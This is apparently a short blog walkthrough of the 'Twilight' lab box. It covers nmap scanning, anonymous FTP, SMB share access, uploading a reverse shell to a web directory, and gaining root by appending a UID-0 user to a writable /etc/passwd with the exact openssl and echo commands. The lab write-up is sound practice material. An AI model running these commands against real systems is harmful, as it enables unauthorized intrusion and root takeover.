Twilight Walkthrough

Scanning the box with “nmap -T4 -A -vv”

We have few ports are open, port 2121 is for FTP service, and we connect to it “ ftp 2121”

We can see from the Nmap results there is a file there we can pull it and read it on our machine, and the login username and password are the same “anonymous”:

But when we got the file there were some strange letters there and nothing more to do, so I moved on to the next step and using SMB services to enumerate:

Using “smbclient -L // -U “ “ -N” came with a sharename “WRKSHARE”:

smbclient \\\\\\WRKSHARE

Now we in and the next step is to upload a reverse shell in the path “/var/www/html”:

And we open the file in the browser “” while we have a listening port on our machine:

I took a look at the “passwd” file and it’s writable, so we can add a new user with the root privilege:

openssl passwd -1 -salt hacker 123456

echo ‘hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:www-data:bin/bash’ >> /etc/passwd

Now we “ su hacker” and the password “123456”:

We got the root flag, also there is a user flag in the home directory for a user named “miguel”

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s